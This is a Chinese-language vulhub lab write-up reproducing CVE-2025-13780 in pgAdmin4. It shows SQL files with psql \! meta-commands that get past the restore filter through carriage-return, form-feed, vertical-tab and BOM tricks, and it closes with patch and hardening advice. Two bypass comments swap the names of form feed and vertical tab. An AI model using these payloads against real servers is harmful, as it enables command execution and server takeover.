简介
pgAdmin是一个流行且功能丰富的开源PostgreSQL数据库管理和开发平台,广泛被数据库管理员和开发者用于通过Web界面管理PostgreSQL数据库。
pgAdmin4 9.11版本之前存在一个远程代码执行漏洞。pgAdmin4的restore功能使用psql命令行程序执行用户上传的纯文本格式sql文件 。攻击者可以利用特殊字符绕过pgAdmin4对文件内容的安全检查,在sql文件中嵌入meta command (\!),使psql程序执行系统命令。
搭建
pgAdmin4 9.10
bash
#vulhub
cd vulhub/pgadmin/CVE-2025-13780
docker-compose up -d
登录凭据为vulhub@example.com:vulhub
访问 http://ip:5050
sql:vulhub:vulhub
复现
文件生成
test.sql:
bash
echo -ne "SELECT 1;\n\\! bash -c 'touch /tmp/hacked2'\n" > test.sql
test2.sql:
bash
echo -ne "SELECT 1;\r\n\\! bash -c 'touch /tmp/hacked2'\n" > test2.sql
payload.sql:
bash
echo -ne "SELECT 1;\r\\! bash -c 'touch /tmp/hacked2'\r" > payload.sql
开始"restore"
点击 servers 输入密码登录数据库后,server - main - database - vulhub ,然后右键点击 restore 
上传sql文件
选择文件

选择"upload"
单击页面并选择文件
点击上面的"x"返回
选择刚才的文件
restore执行
切换格式为"Plain "并执行payload


else
如果选择test.sql\test2.sql :

恢复被阻止:所选纯SQL文件包含psql元命令(例如\!或\i)。出于安全考虑,pgAdmin不会执行纯恢复中的元命令。请移除元命令。
原来的代码has_meta_commands()函数使用br'(^|\n)[ \t]*\\',只识别\n作为行开始,将反斜杠前的空格和制表符 视为可忽略字符以及在二进制模式下扫描文件
故除了使用\r,还可以通过多种方式构造payload绕过pgAdmin的has_meta_commands()函数检测
bash
# 垂直制表符
echo -ne "SELECT 1;\x0c\\! ls>/tmp/ls" > payload_ff.sql
# 换页符
echo -ne "SELECT 1;\x0b\\! id>/tmp/id" > payload_vt.sql
# UTF-8 BOM绕过
echo -ne "\xef\xbb\xbf\\! echo utf_bom>/tmp/bom" > payload_bom.sql

借鉴:高危 pgAdmin 远程代码执行漏洞(CVE-2025-13780)绕过此前修复:可通过恶意数据库恢复实现服务器接管-安全KER - 安全资讯平台
防御
- 立即升级 pgAdmin 至 ≥ 9.11,官方已修复该漏洞。
- 在升级前,避免在服务器模式下从不可信来源恢复 PLAIN 格式 SQL 文件。
- 对数据库恢复功能增加严格的文件内容过滤与命令执行隔离。
- 使用最小权限原则运行 pgAdmin 服务账户,降低被利用后的危害范围。